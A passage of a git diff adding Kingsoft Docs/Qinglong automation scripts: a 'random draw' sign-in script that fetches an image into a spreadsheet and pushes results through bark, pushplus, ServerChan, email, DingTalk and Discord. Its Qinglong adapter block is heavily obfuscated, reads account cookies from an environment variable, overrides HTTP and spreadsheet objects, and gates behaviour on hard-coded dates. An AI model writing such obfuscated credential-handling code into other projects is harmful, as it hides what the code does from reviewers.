messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + let url = "https://api.71xk.com/api/picture/v6" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + // console.log(resp) + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('D' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js b/脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js new file mode 100644 index 0000000..0d724a8 --- /dev/null +++ b/脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js @@ -0,0 +1,649 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/chouq.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chouq.js +// # Repo: imoki/sign_script +// # Path: polymerization/chouq.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 5912837298993ea2f2fdda3bcf3652ecf33dc61808077c1fd4ac8db922cbfb75 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "随机抽签" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:chouq + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "chouq"; // 分配置表名称, (修改这里) +var pushHeader = "【随机抽签】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + 